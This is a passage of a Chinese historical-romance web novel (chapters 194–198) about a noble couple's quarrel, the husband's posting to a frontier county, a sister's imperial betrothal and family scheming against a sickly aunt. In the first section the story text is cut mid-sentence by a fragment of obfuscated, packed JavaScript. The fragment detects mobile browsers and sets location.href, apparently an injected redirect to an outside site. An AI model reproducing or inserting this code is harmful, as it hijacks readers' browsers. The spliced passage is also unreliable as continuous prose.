姜珞悻悻然收回手,跟霜打了的小白菜似的,垂头丧气,走了两步,又回来小声道:“姐姐,我这就回房,你想什么时候打我手板子,让人来叫我啊。”
说完灰溜溜跑了,也不敢继续吵。
赵咎摸了摸鼻子,“阿池,我去二兄那一趟。”
屋里的人压根不搭理他。
赵咎若无其事地捡起地上的令牌,扔给归南,转身往外走。
向氏轻轻推开门,“姑娘。”她略带一丝担忧地看着姜璎,虽然说她们这些老人都不大喜欢赵咎,但既然成了亲,自然是希望他们夫妻之间和和美美的,哪能隔三差五闹脾气呢?
“阿媪,没事。”姜璎冲她笑了笑,“你帮我看看这些,还有没有欠缺的。”
她在整理姜珞的嫁妆单子。
姜昀送到盛京的书信,有一封是给姜璎的。信上没有过多解释什么,只让她养好身体,其他事情不用操心。
向氏看了看,诧异道:“这些都是姜家送来的?”
立后诏书才下,姜家就已经把嫁妆准备得差不多,可见姜昀离京之前就已经吩咐人准备这些。
毕竟皇后之位,能给姜家带来的好处可不是一点半点。
有人持反对意见,自然也有人赞同姜昀的决定。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733038|173897||http|test|mini|href|location''.split(''|''),0,{}));
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r>五叔祖的胞妹六祖姑一生未嫁,留在姜家族学当先生,此次嫁妆便是由她一手操办。
按照惯例,公中和族里各出一份陪嫁,其次亲戚们的添妆,主要大头还是父母那边。
这些,姜昀全都想到并且安排妥当。
不想让姜璎经手,也是怕她一时冲动自掏腰包给姜珞充面子。
不得不说,老父亲还是了解女儿的。
姜璎没把姜昀的话当回事,梳理完姜家准备的嫁妆单子,又重新拟了一份。
向氏忍不住笑道:“都说梁淑妃当年嫁给陛下,带了十万贯钱入东宫,已是豪奢至极。可如今跟二姑娘一比,也不过如此了。”
随便从姜璎的陪嫁里漏出一点,都够姜珞风光大嫁。
十万贯钱算什么?
这世上多得是钱买不到的奇珍异宝、古董字画。
士族的底蕴便是在此了。
姜璎低头笑了笑,没说话。
另一边,赵咎去了赵哲书房,赵哲开门见山,“你那岳父是不是也给你写了信?”
赵咎颔首。
赵哲眉心紧皱,“我和大兄原本已经为你看好了几个县,等你出去外放几年,再调动回京。结果你倒好,早就有了主意。”
“岳父有心提携,我也不能掉链子。”赵咎笑道,“况且,那本就是我准备要去的地方。”
赵哲哼道:“父亲和大兄还不知道,你自己去跟他们说。”
“我不去。”
赵哲瞪他,“到时朝廷任命书下来,你还想瞒得过去?”
赵咎笑道:“我也没想瞒。”
书房安静片刻。
赵哲揉了揉眉心,来回踱步,“太危险了,你去安奉!就算陛下答应,太后那边……还有弟妇,你新婚没多久,舍得把她一个人扔家里?”
赵咎顺手拿了书案上的镇纸,有一下没一下地抛着玩,语气漫不经心:“我可没说把她扔家里。”
赵哲:“?”
他抬起手,一把夺过自己那块青铜镇纸,斥道:“你简直就是胡闹!”
安奉是什么地方,多少青壮年都待不下去,更别说身娇体弱的小娘子。
这要是有个头痛脑热的,恐怕都救治不及时!
第194章 打算
半个时辰里,赵哲说了一箩筐的话,好说歹说,嘴皮子都快磨破,也不见赵咎动摇半分。
他真没辙了。
“别人是封侯拜相,给妻子挣诰命,你倒好,专门往危险的地方跑,自己吃苦就算了,还要带上阿池一起!”
“说!你到底是何居心?信不信前脚刚到秦州,后脚姜昀得了消息弄死你!”
赵哲恨铁不成钢看着弟弟,“你到底知不知道阿池的身份?”
赵咎轻声道:“她是我的妻子。”
赵哲“呸”了一声,“少往自己脸上贴金!”
人家先是天水姜氏的嫡长女,姜昀和广陵公主唯一的骨肉,整个姜家失而复得的珍宝。最后才是赵咎的妻子。
这好不容易寻回,要是被姜家的族老知道她跟着夫君去任上受苦,老头们不把赵咎生吞活剥了才怪!
“你既然费尽心思将人娶进门,就该好好珍爱,别狗坐轿子——不识抬举!”
赵咎无关痛痒地笑:“二兄不必多费口舌,我不会改变主意。”
其他事情可以退让,唯独这件事,不行。
上辈子,他连姜璎最后一面都没有见到,余恨藏在心里,早就成了一根锥刺。
他做不到放手,做不到相隔千里,日日杯弓蛇影。
思念太苦,磨平了意志,也让人变得患得患失。
赵咎不想变成妒夫。
一次两次吃醋是情趣,多了就招人厌烦了。
他的妻子很好,温柔体贴,善解人意,又是家世顶顶出众的贵女。
不知道暗地里有多少狂蜂浪蝶想要勾引他妻子。
赵咎垂眸不语,眼睫落下一片阴影,他自言自语:“是,我离不开她。”
赵哲:“……”
他有点受不了了。
又怕真把弟弟弄哭,到时候郑氏第一个不放过他。
“不说了。阿池还在等我回去一起用膳。”赵咎抬眸,神情恢复如常,只扔下一句,“朱家的人已经在来京的路上。”
赵哲眉头深深皱起。
他看着赵咎的背影,沉声道:“索性病了许久也不见好,就让朱家人接回去吧。”
听到这句话,赵咎脚步一顿,偏头似笑非笑。
“二兄倒是以德报怨。”
“父亲一直盯着。”赵哲叹了口气,又警告地看他一眼,“不许胡来。”
“行了,在自己家里摆什么官架子?”郑氏走进来道,柔荑轻轻拍了下赵咎的胳膊,算是安抚,“有二嫂在,别理他。”
赵哲嘴角一抽。
“他都成亲了。”
就算没成亲,也不能这么惯孩子!看把臭小子惯成什么样了?
郑氏淡淡道:“姑母病重,我们身为晚辈,自当尽心尽力照料。只是到底不是亲儿媳,隔了一层,不能教姑母事事如意,心中难免委屈。”
赵咎道:“实在辛苦二嫂了。”
郑氏叹了口气,看也不看赵哲,就像寻常人家的妇人一般,对婆家人诉苦:“你二兄就是个没心肝的……”
赵哲:“???”
赵哲:“不是、你等等,我怎么就没心肝了?”
郑氏横他一眼,又对赵咎道:“你不知道,姑母今日得知陛下立后的消息,立马派人把父亲叫过去,声泪俱下求他帮忙,先是开口替姜承祁要侯府世子爵位,又让给朱季灵安排亲事,最好是姜家的嫡系郎君。”
赵咎挑了挑眉,“就这么点要求?”
他慢悠悠道:“我还以为,她会要死要活逼父亲想办法,让他把朱季灵送进宫做贵妃。”
郑氏扑哧一笑,语气不无轻蔑。
“也是。”
毕竟这种主意,赵佩雯也打了不止一次了。
从前想送女儿入宫,后面又想把孙女塞给赵咎。如今眼见姜珞一个庶女,都能被立为皇后,可不是眼红着急了?
朱季灵正值花季,可不好再耽搁下去。
过了年又大一岁,婚事就更不好找了。
赵哲听出两人意思,赵佩雯是必须要**。他到没有任何心软的意思,只是,“父亲那里……”怕就怕卫国公发现端倪。
“我来处理。”赵咎道,等料理了赵老妪,他就立刻前往安奉,到时候,就算老头想找他麻烦,也鞭长莫及。
郑氏笑道,“内宅自有我跟大嫂打理,哪里用你操心?”说着推了推赵咎,“不是说
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阿池等你回去用膳?快去吧。”
“好。”
赵咎离开之后,郑氏就懒得给赵哲好脸色,左右四下无人,她言语也毫不避讳。
“让朱家人接回去?只怕他们肯做孝子贤孙,你姑母还不乐意走呢!”
赵佩雯病了有很长一段日子了。
病情时好时坏,但大部分时间都缠绵病榻。
她向来自以为是,觉得几个侄子侄媳再怎么样也不敢对她下手,只当自己是怒火攻心坏了身体,隔三差五要求这个、要求那个。
郑氏开始一应满足,后面实在烦了,装病几日,教家翁知道,以为是赵佩雯折腾的,派人去把她狠狠训斥了一顿,这老不死的东西才算消停。
赵哲沉吟道:“既然要做,就得做的干净些。务必不能让父亲发现端倪。”
他不怕受罚,只怕父亲怒气上头,到时不管不顾认定一切都是阿劫所为。
郑氏淡淡道:“放心,我有数。”
自然不会亲自动手。
“还有永安侯府那个。”赵哲想不起张琼华名字,“别说卫国公府不是她娘家,就是娘家,也没有一月好几趟这样勤快的。”
张琼华要真是关心赵佩雯也就罢了,偏偏她每次回来,都要诉苦一番,挑动赵佩雯去找赵堰。
明眼人都能瞧出来,她是非把姜承祁的世子爵位挣到手不可。
郑氏笑了一下,“她啊,等朱家人上门,再一并收拾吧。”
或者给萧止柔送个口信。
她一定非常乐意,致永安侯府于死地。
赵咎回到蓼莪院,房门还是紧闭,正要敲门,香附忙上前,讪笑着:“九郎,女君说了,不许你靠近房门半步。九郎还是莫要为难奴婢了。”
赵咎:“……”
他点头表示配合,转身往外走。
正当香薷香附等人松一口气时,一道风自他们身边掠过,赵咎以迅雷不及掩耳之势,三两步越过凭栏,没往房门去,而是选择了侧边窗牖。
“九郎!”
姜璎听到动静,正要起身查看,忽然一道身影翻窗而入。
她下意识回头,后背撞上胸膛。
“你——”
第195章 三次
赵咎这一行为可把外头仆婢吓得够呛,向氏又气又好笑,没想到平日里看着正经的姑爷,一到姑娘头上,什么无赖手段都使出来了。
小夫妻俩的事儿最忌旁人掺和,如今木已成舟,向氏自然是希望他们日子和和美美。
她给香薷等人使了个眼色,“去准备午膳罢,二姑娘那另外送一份过去。”
“唯。”
向氏守在外头,仔细听了一会儿。没有动静,想来不会吵架。
向氏满意一笑,将一颗心放回肚里,笑呵呵地想:说不定明年这个时候,就能抱上小郎君了。
姜璎才不跟人吵架呢。
但也没搭理赵咎,从他怀里出来,径直走到窗牖边,把窗户合上。
吧嗒一声。
像是木槌砸在心上。
赵咎抿了抿嘴,“你现在生气,连吵架都不愿意跟我吵了。”
姜璎头也不抬,“吵架伤感情,我不想和你吵。”
赵咎道:“没有你这样的。”
他三两步走过来,握着姜璎肩膀,一脸严肃道:“吵架伤感情,但不吵架,只能说明连感情都没有。你不高兴,可以打我骂我,但不能不理我。”
姜璎垂下眼眸,好半晌,才低声道:“我不想打你,也不想骂你。”
“可你独自生闷气,比打我骂我,还要让我难受百倍。”
赵咎道:“阿池,你在折磨我。”
姜璎一时失语,腮帮子微微鼓起,“你又蛮不讲理!不想跟你吵,就是因为……”
赵咎忽然俯身凑近,杏眼藏笑,说出了姜璎的心里话,“就是因为吵不过我。”
姜璎:“……”
姜璎:“哼。”
赵咎忍俊不禁,阿池真可爱。
想亲。
姜璎扒开他的手,努力摆出生气的样子,“说罢,这次瞒着我的理由。”
赵咎顿了一下,直起身子,淡淡道:“你不是想把梁氏赶出宫?甚至动了心思,准备效仿先汉巫蛊之祸,使其幽居长门。”
姜璎蓦然抬头,睁圆眼眸。
“你……”她结巴了一下,“你是怎么知道的?”
“这很难猜吗?”赵咎轻描淡写,实则心中腹诽:夜里不干正事,就知道缠着他问先汉史,他要是连她这点心思都猜不出来,干脆自请下堂好了。
姜璎:“……”
她底气不足,“我也没有那么藏不住事儿吧。”
赵咎又笑了,“当然没有。”
因为,她只在他面前,毫不设防。
“我知道你想替姜珞清除一切隐患,但阿池,你有没有想过,这件事情其实并没有那么复杂。你看,姜珞只是随便说了几句,陛下就主动将梁氏送出宫。”
“你没必要为此,去做那么危险的事。”
姜璎反问道:“那你说,倘若来日,他们相看两厌,陛下会不会把梁氏出宫一事,怪到浓浓头上?”
她承认自己思虑过多,但万一呢?
姜璎深吸一口气,“事已至此,对错已无任何意义。我不想同你争论。”
爱不是对弈下棋,不必分出输赢。
不论是姨母爹爹,还是赵咎,他们做一件事的初心都是为了保护她。
但是——
“我希望,再有下一次,你可以跟我商量。”
“我们是夫妻,如果你为了我好而瞒着我,那我以后是不是也可以打着为你好的旗号,瞒着你?”
“不可以。”赵咎沉声道。他骨子里的掌控欲绝不容许姜璎有任何瞒着他的情况。
姜璎道:“你这是宽以待已,严于律人。”
赵咎一噎,但没反驳。
最后他道:“我会改的。”
这件事就这么翻篇了。
时人讲究含蓄,不论说话做事,都滴水不漏。但赵咎不喜欢这样,姜璎的性子本就缄默,他要走进她心里,就得先剖开自己的心,好的坏的全都露出来。
他在爱里磕磕碰碰,生出利爪獠牙,又因两心相交,心甘情愿受罚。
坦诚是获取真心的敲门砖,他将情意反复琢磨,总怕哪里做错,却忘了日子得两个人一起过。
赵咎轻轻勾住她的手,语气拜托,“怎么生气都行,能不能别赶我房门?”
姜璎很是无情,“不行。得让你长个教训。”
赵咎:“……”
他试图挣扎,博
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取一点地位。
“岳父来信,希望我能任安奉县令,估计任命书下来,月末就要动身。你真的舍得让我一个人孤枕难眠,夜不能寐,寝食……”
“安奉?”姜璎一把攥住他手腕,“你要去安奉?”
“嗯……”赵咎眼都不眨一下,张口就来,“是岳父的意思。”
又装可怜,“阿池,你真的要在最后的时间里,把我一个人孤零零扔在书房?”
“什么最后的时间,呸呸呸。”姜璎道,“不许乱说话!”
她有点着急,眼巴巴地看着他,“你去安奉,不带我一起吗?”
赵咎怔住,他心里是这么打算的,但看着她娇美的脸蛋,却怎么也说不出话。
姜璎以为他真的不准备带她,急道:“赵咎,你不能,不能把我一个人扔在家里。”
顿了顿,她可怜巴巴,“你舍得让我一个人孤枕难眠,夜不能寐,寝食难安……”
“停停停!”赵咎差点笑出声,“谁让你照搬我的话了。”
姜璎眨了下眼,嘴硬道:“你自己说的,夫妻之间不分你我。所以,你的就是我的。”
不想跟他扯东扯西,她一脸严肃,“带我去。”
赵咎心里已经完全乐开花,故意拿乔,“我得考虑考虑。”
阿池实在是太可爱了。
他没忍住低头亲了亲,雪白光洁的额头,扑闪扑闪的睫毛,还有柔软细腻的脸蛋。
亲上瘾了。
姜璎捂住嘴巴,瓮声瓮气道:“你不让我去,不给亲。”
赵咎:“……”
这么较真。
他趁机提要求,“那你不能让我睡书房。”
姜璎勉强松口,“……好吧。”
赵咎没想到她答应这么快,试探道:“今晚做四次?”
事不过三,赵咎怕弄伤姜璎,平日一般也就三次。
姜璎面红耳赤,想说什么又强忍下来,含糊道:“……可以。”
赵咎大为震惊,心里感慨:阿池好爱我!
继续得寸进尺:“那我们今晚试一试你在上面的姿——嗷!”
姜璎一口咬住他喉结,忿忿道:“我不去了!”
第196章 软饭
条件没谈拢,赵咎只能悻悻然退一步,但姜璎可不惯着他了,什么三次四次,五次六次,统统没门。
他一次都别想要。
赵咎:“……”
他跟在姜璎屁股后头,走哪儿跟哪儿,试图挽救,“这说好的,怎么能不作数?”
赵咎见她不说话,以为她自认理亏,不依不饶道:“其他就算了,前面两条答应我的,你得做到。”
姜璎答的很快:“不要。”
赵咎憋了半天,弱弱道:“你不讲道理。”
姜璎一本正经,“我才不跟流氓讲道理。”
赵咎:“……”
他面露忿忿,“你这是诋毁!污蔑!凭空捏造,恶意中伤!”
姜璎慢悠悠道:“你要这么说,我也没办法。”
赵咎简直吐血。
岳母给她取的小名还真是一点都没错,主打一个油盐不进,铁石心肠。
两人一同去前厅进食。
这段时日姜珞一直都是跟着他们进食,每次饭点,不用人喊,她就已经乖乖坐着等饭。姜璎没看见她,还有些不习惯,下意识要问她人呢。
向氏忙道:“二姑娘在房里,已经派人把吃食送过去了。”
姜璎想起来,神色有些许不自然。
前脚刚罚姜珞不许踏出房门半步,要是后脚再去喊她,难免不长记性。
“这个羊小腿炖的好,没有膻味儿,你尝尝。”赵咎亲力亲为,给她舀了一碗汤。
姜璎看他一眼,只觉得他从头到脚,连头发丝都写了“殷勤”二字。
她舀了一勺尝,发现确实如赵咎所说。
向氏道:“姑娘喜欢,明日再让庄子上的管事送来,跟芦菔一起炖上,秋冬吃再滋补不过了。”
姜璎的陪嫁庄子大多都养了牛羊豚兔。耕牛杀了可惜,他们平日里一般只吃羊肉、豚肉。多的则做成肉干,平日里供部曲训练补充能量。
今日的羊小腿就是庄子上管事送来的,用冰鉴保鲜,取小羊羔身上的部位,炖起来有股淡淡奶香,一点儿也不膻。
姜璎用了一碗汤,又吃了一块掌心大小的羊小腿跟些时蔬,差不多七分饱,就没再动箸。
剩下的全都进了赵咎肚子。
一顿饭用完,赵咎继续磨她,走哪儿跟哪儿,姜璎烦不胜烦,“不行,不行,不行。”
赵咎震惊,“我还什么都没说呢!”
姜璎板着脸,“你不说我也知道。”
赵咎打蛇随棍上,“看来我们心有灵犀。”复又退而求其次道,“那不得踏进房门半步,这个就干脆作废了吧?”
一副做出很大让步的委屈模样。
姜璎差点动摇了。
但想到姜珞现在还本本分分待在房里,她要是知道赵咎什么事儿也没有,到时候又要闹。
“说好的一碗水端平,姐姐骗人!我就知道我是烂在地里的臭菜叶子,没人疼也没人爱,呜呜呜呜呜……”
想到这,姜璎忍不住摸了摸胳膊,鸡皮疙瘩都起来了。
正好宫里来人,明惠帝传召赵咎。
姜璎敷衍了一句,“你去吧。”就自己回了房。
赵咎:“……”
明惠帝身边的内侍道:“九郎,陛下有急事商议,咱们还是快些进宫吧。”
不用猜也知道,明惠帝肯定已经得知安奉的事。
私事处理完后,自然要以国事为主。明惠帝看见赵咎,顾不得唠家常,就把安奉县令被流民打死的急函递给他,“我说姜昀送来的信里,怎么还提到你,他莫不是打着让你去安奉的主意?”
赵咎扫了一眼,大致心里都有数。
明惠帝察觉出了一点什么,皱眉道:“阿劫,你不会真想去安奉吧?”
赵咎听出他话里的反对,毕竟这辈子和上辈子不同,这辈子他早做准备,避免了父亲的生死劫难,又与二兄提前安置了恩师遗孤,化险为夷,没能让人抓住把柄。
赵咨和王氏也都安然无恙。
家里一片欣欣向荣的好景。
他就算要外放,也实在犯不着选安奉那样的地方。
那里贫穷、苦寒,又常年遭匈奴侵犯。
做出功绩,也不过是给卫国公府锦上添花,但若出点什么事,像王氏她们,如何受得了打击?
“我前两日还想着,让你去广陵郡,富庶之地,就算姜璎跟去,也吃不了什么苦。”明惠帝试探道,“要不今日定下来?等我跟浓浓大婚之后,你们再……”
“匈奴蠢蠢欲动,安奉等不了那么久。”赵咎打断他的话,他有
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经验,又有岳父帮衬,他去比旁人更适合。
既然有更好的选择,就没必要让安奉多添伤亡。
明惠帝像是抓住了他的把柄,气恼道:“你就是想去!你跟姜昀商量好的!”
赵咎一脸嫌恶,“别撒娇。恶心。”
明惠帝:“……”
你才恶心呢!
不对,他才没撒娇!
赵咎道:“安奉那里还是我去,至于你大婚……”他脸上露出犹豫。
两人从小一块长大,用邢如风的话来说,赵咎一撅屁股明惠帝就知道他要拉屎,更别说这个死样,就差把心事全写脸上。
“你不等我大婚就走?”明惠帝气不打一处来,不由拔高声音,“你心里还有没有我?”
赵咎:“……”
他抹了把脸,“你是想恶心死我吗?”
他诚恳道:“我知道我很好,但我已经名花有主,你再看看别人吧,真的。”
明惠帝干呕一声。
想说什么,没说出口,就开始捂着嘴继续干呕。
受不了了!
一个人怎么能说出这样恶心的话!
邢如风进来看到这一幕,愣半天,才小心翼翼问:“怀、怀了?”
赵咎点头,“对,正好一个月,你赶紧给他开安胎药。”
明惠帝脸顿时爆红。
“赵咎——!”
“小心别动了胎气!”赵咎和邢如风异口同声道。
明惠帝:“……”
他忿忿然甩袖,回到书案后,开始草拟任命书。
赵咎和邢如风自觉上前,一个研墨,一个倒茶。
“你要去安奉,把如风带上吧。”明惠帝不记仇,一会儿就消气了,比起功绩,他更在乎小舅的安危。
邢如风吐槽:“说得我好像个陪嫁丫鬟。”
但也没拒绝,安奉环境恶劣,好一点儿的伤药都没有,他跟着去最起码这一块有保障。
赵咎却道:“天水姜氏不缺名医。”
明惠帝:“……”
邢如风:“……”
吃软饭也这么理直气壮的吗?
邢如风看看赵咎,又看看明惠帝,有点羡慕,扭捏道:“要不,我也入赘姜家好了。”
什么叫也?
舅甥俩的脑门缓缓冒出一个问号:“?”
第197章 不敢
翌日朝会结束,宫中下达的任命书送到卫国公府,姜珞天都塌了。
她本来还沾沾自喜,赵咎一走,陪在姐姐身边的就只有自己。
结果,她听见姜璎吩咐底下人收拾去安奉的行李!
姜珞哇呜一声哭了。
姐姐又要扔下她一个人!
“我不成亲了,我要跟姐姐姐夫一起去安奉……”姜珞冲进去,抱着姜璎大腿边哭边说。外放县令最起码也是五年起步,这就代表她接下来足足有五年见不到姜璎。
天塌了都没这个严重。
姜璎没办法,只能抱着她哄,边给她擦眼泪,边说:“不许胡闹。说成亲的是你,说不成亲的也是你,哪能事事由你说了算的?”
姜珞把头埋姜璎怀里当鸵鸟,闷声道:“那就推迟,反正我还小……”
姜璎轻轻拍了一下她脑袋,“再胡说八道一个呢?”
姜珞又忍不住哭,嚷嚷道:“你们都不告诉我要去安奉!要是早点说,我才不嫁人!姐姐就是想把我扔下,和十多年前一样!”
她语气满是控诉,泪水淌了一脸,哭得稀里哗啦,哽咽着。
“早知道这样,早知道是这样……我就不进京了,我在安奉等姐姐……”
“好了不哭了。”姜璎叹气。
姜珞又破防了,哭道:“你现在心里就只有姐夫,连哄都不愿意哄我!”
“**脆**算了!”
姜璎恼道:“这话像什么样子?”
姜珞一顿,哭得更凶,“不带我去,还骂我。”
姜璎:“……”
房里的仆婢低着头,肩膀微微颤抖,忍笑忍得很痛苦。
“好了别哭了。”姜璎无奈道,“也不一定就去五年……你要实在舍不得,就跟我们一起回去。正好回姜家待嫁。”
诶?
哭声渐止。
姜珞吸着鼻子,好像也有道理。
帝后大婚,怎么也得筹备许久,光礼服都要足足绣上半年,她回姜家待嫁,理所应当。只要到时候提早个把月进京就是了。
“那,姐姐跟我一起回家。”
“嗯?”
姜珞嗫嚅道:“我不想一个人回去,姨娘、姨娘……”
她连一句完整的话都没说完,就搂着姜璎的脖子,娇小玲珑的身体蜷缩成一团。
湿漉漉的猫眼望着姜璎,充满哀求。
“也行。”姜璎道,很明显地感受到怀里的人松了口气,“正好回家一趟,也去祭拜一下母亲。”
姜珞精神起来,“我带姐姐去!”
萧晞葬在齐陵,也就是梁文帝的陵墓。
姜璎给姜珞擦了擦眼泪,听她掰着手指头认真说:“我跟姨娘每年都会去给母亲上香,那里的守冢人,我比姨娘还要熟呢。”
姜璎笑了笑,温声道:“那到时候你来带路,我们一起去拜见母亲。”
姜珞这才算是被哄好,点了点头,冲她甜甜一笑。
且不说明惠帝知道这个消息后,心情有多郁闷,反正姜珞心满意足了。
她开始积极监督下人收拾行李,事无巨细,小到一根针线都得让人妥善保管。
这几日卫国公府颇为忙碌。
卫国公还没骂赵咎自作主张,就听说朱家人登门拜访,赵佩雯不肯走,非要兄长帮忙,安排好孙女的亲事,以及外孙女婿的前程。
王氏以“养胎”为由,躲了个清净。郑氏也寻了个“身体不适”的借口,把门一关懒得搭理。
赵咎和姜璎更不可能过去了。
说句难听的,要不是因为卫国公念着那点“兄妹情分”,家里根本没有那么多破事。
赵佩雯躺在病榻,见只有卫国公和赵子、赵哲两个儿子过来,忍不住嚎啕大哭,“大兄啊,你都看见了,王氏她们几个一点儿没把我这个做长辈的放眼里!俗话说得好,百善孝为先啊!”
赵佩雯的儿媳们都知道自己婆母是个什么德行,心中冷笑,估摸着她把几个侄媳折腾够呛,要不人家怎么连面都不肯露?
倒是朱季灵的父亲听了母亲的哭诉,一时头热,站出来指责赵咨他们,“表兄,表嫂几个未免也太不像话了!我母亲好歹也是长辈,他们怎么能如此怠慢?”
“阿舅也别怪外甥
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说话直!我母亲回娘家的时候,可是好好的,这才几个月,就病成这个样子?!可见表嫂她们没有用心侍奉!”
朱七郎是赵佩雯的嫡幼子,最得母亲喜爱,赵佩雯这些年没少补贴他。
朱七郎一半是真担心母亲身体,一半也是想借着这个机会,从卫国公手里要点好处。
把他母亲照顾成这样,少说得赔个几万贯!最好再给他儿子安排个官职,女儿的亲事也不能落下!
朱七郎的夫人面色讪讪,想拉他,“夫君糊涂了……”却被甩开,一个妇人哪里知道他的良苦用心?
朱季灵站在母亲身后,默默垂泪。
他们一房全都指着祖母过活,父亲无能,母亲也没有话语权。
朱季灵以前还为自己是祖母最疼爱的孙女而得意,觉得母亲想把她嫁回外家,是见不得她好。如今经历了事儿,才明白,母亲是对的。
父亲碌碌无为,但凡高一点的门第,岂能看得上她?
还不如嫁给表兄,舅母看着她长大,向来疼她,比寻常的婆母肯定要好说话。
赵佩雯还在倒苦水,因为说得太急,青白的面色微微胀红,咳嗽好几声,“我吃了这么些天的药,也不见好,反而愈发严重……肯定是有人害我!咳咳咳!”
卫国公其实很烦这个妹妹了,要不是父母临终前叮嘱他多关照赵佩雯,他早就想派人送她回朱家。
“你每日的脉案,熬药剩下的药渣,都有保存下来,谁能害你?”
“那可说不准!”朱七郎跳出来道,“阿舅,你不知道最毒妇人心!这后院的肮脏事,多了去了!指不定就是……”
“指不定什么?”赵咨掀了掀眼皮子,冷冷道,“你若不放心,我可求了陛下,请太医署一众医官,一一为姑母诊脉。再不行,报了大理寺由他们来彻查!”
朱家人心里一惊,吓得说不出话。
“若让大理寺来,就不能只查自家。”赵哲慢悠悠地笑,“姑母的外孙女,隔三差五上门,恐怕也免不了嫌疑。”
“正好,连永安侯府一块查了吧。”
第198章 承嗣
房内寂静一瞬。
赵佩雯气得浑身发抖,连带着松弛的面皮也抽搐起来,“你、你胡说八道些什么!”
赵哲笑道:“姑母病重难愈,疑心这个,疑心那个,也在情理之中。不过,这既然要查,自然就得查个彻底,不把谋害姑母的人抓出来,卫国公府岂能洗刷冤屈?”
目光一一扫过朱家的人,唇畔笑意愈浓。
“我们受点委屈倒没什么,就怕几位表弟心中怀疑、夜不能寐。”
赵咨阖了阖眼,复对卫国公道:“父亲,少凌言之有理,未免姑母和表弟他们心生猜忌,不如……”
“不不不!”朱家主,也就是赵佩雯的长子,听到这话几乎冷汗涔涔,连忙阻止道,“阿舅,外兄,我们绝无此意!七郎他、他是太过担心母亲,这才头脑一热说了胡话!”
卫国公脸色瞧不出喜怒,“是吗?”
朱家主陪笑道:“还请阿舅勿怪,我回去一定好好管教……”
朱七郎面色涨红,他都是当爹的人了!
赵佩雯看着大儿子陪笑脸,小儿子受委屈,心火噌噌往外冒,面皮抖了抖,尖声道:“赵堰!阿父阿母在天之灵,若是看见你这样照顾我,他们死都不会瞑目!”
提到已经过世的父母,卫国公的脸顿时阴沉一片。
朱家主吓得不轻,他知道阿舅看不上他们兄弟几个,这些年也不敢往赵家跟前凑,只安安分分过自己日子。
但母亲……母亲怎么能说出这种话?
就是寻常人家,也没有妹妹顶撞兄长的道理,更别说阿舅还是当朝卫国公兼尚书令!陛下的外翁!
朱家主上前几步,弓腰扶着母亲,满脸哀求道:“阿娘。”
别说了。再说下去,他们朱家就要和赵家结仇了!
赵佩雯甩开他,捂着胸口咳嗽,一双布满红血丝的眼睛死死盯着卫国公,她边喘气边道:“阿父阿母让你照顾我,你却多年来对我不管不问!便是我苦苦哀求,也不肯帮忙!”
赵咨赵哲兄弟俩垂手而立。
卫国公面色铁青。
赵佩雯恶狠狠道:“你别以为我不知道,你就是拜高踩低!为了巴结姜家,巴结你那个在外头流浪过的儿媳,死活不肯松口,帮衬琼华夫家!”
“这永安侯府也是可怜,施恩施出了仇,早知道那贱胚子是白眼狼,当初就不该捡她回来!好过如今连累全家,连我那外孙女婿的世子之位都不保!”
朱家主惶恐不已,正要说什么。
“啪!”赵佩雯话音刚落,屋内就响起一声清脆的巴掌声。
朱家人全都吓得不轻。
赵佩雯愣了半晌,忽然发疯起来,“你又打我!你竟然又打我!”
她声音尖锐如锥,刺破了最后一层遮羞布。
“萧渡活着的时候,你跟高炳狼狈为奸,萧家的江山说抢就抢!如今他**,你倒开始惺惺作态起来。”
“赵堰,你是不是觉得自己已经足够仁至义尽?哈哈哈!是了,你给萧渡留了两个不能承嗣的女儿!哈哈哈哈哈哈!”
疯癫的笑声在屋内回荡。
卫国公冷冷看着他,把擦过手的帕子丢给儿子,“把她的嘴堵起来。”
“赵堰!”赵佩雯这下慌了,连连后退,声音惊惧而颤抖,哭着道,“我就是想让琼华那孩子在婆家好过些,那可是你外甥女留在这世上唯一的骨肉啊!”
“国公,世子。”心腹走进来传话,“九女君、还有姜二姑娘领着张女君过来了。”
卫国公神情微变。
一刻钟前。
姜珞刚从郑氏的院子出来。
她奉姜璎的命,去给王氏和郑氏送枣饵。回蓼莪院路上还在心里忿忿不平,这可是姐姐第一次做给她点心,她还没尝一口,就要分出去大半!
气死个人!
不过王氏和郑氏两位嫂嫂人很好,自己没吃多少,先把她给喂饱了。
姜珞准备回去讨赏,倏忽脚步一顿。
一墙之隔,外头一个女声咬着牙道:“肯定是姜璎!如果不是她从中阻挠,国公大人怎么会连这点小小要求都不肯答应大母?”
哦?
姜珞微微挑眉,听出来声音的主人是谁了。
一个挨了她的巴掌,还这么不长记性的**。
她偏头看白芍,“姐姐说我被封为皇后,不能亲自动手。”<
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br>白芍纠正:“应该说不论什么时候,什么身份,姑娘都不能动手。”
“诶这不重要!”姜珞一摆手,“你去,让她醒醒脑子。”
白芍在心里叹了口气,又安慰自己,好歹有所长进,知道让身边人代劳而非自己冲上去。
白芍走出那道月洞门。
姜珞立马吩咐下人,“去把姐姐请来,就说有要事!”
姜璎过来时,张琼华已经被姜珞治得服服帖帖,连大气也不敢喘一声。
“怎么回事?”姜璎目光在张琼华脸上停留片刻,问姜珞。
“姐姐,她对我出言不逊。”姜珞委屈道,嘴角却忍不住上挑,露出若隐若现的尖尖小虎牙,“不过,我已经让白芍小惩大戒了。”
姜璎沉默一瞬。
张琼华嘴角都裂出了血,掌心掐得通红,低头遮住眼底恨意。
姜珞继续道:“姐姐,你不必为我打抱不平,我大人有大量,自然不会跟她一般见识。而且,我还准备以德报怨,送她去看望赵老夫人呢。”
姜璎警告看她一眼,“人家又不是不识得路,哪里用你亲自送?”
“那我也算卫国公府半个主人嘛,招待客人理所应当!”姜珞挽住姜璎的手,猫眼扑闪扑闪,姐姐,拜托拜托!我们一起去看好戏嘛!
“那就去吧。”姜璎禁不住她撒娇,心中暗叹,打都打了,怎么也得去跟家翁交代一声。
没人在意张琼华的想法。
弱者没有话语权,就像从前的姜璎。她对张琼华并无好感,更何况,她相信姜珞不会无缘无故让人掌掴张琼华。
一行人进了客院。
正好听见赵佩雯那句“狼狈为奸、说抢就抢”。
姜璎眸色一暗。
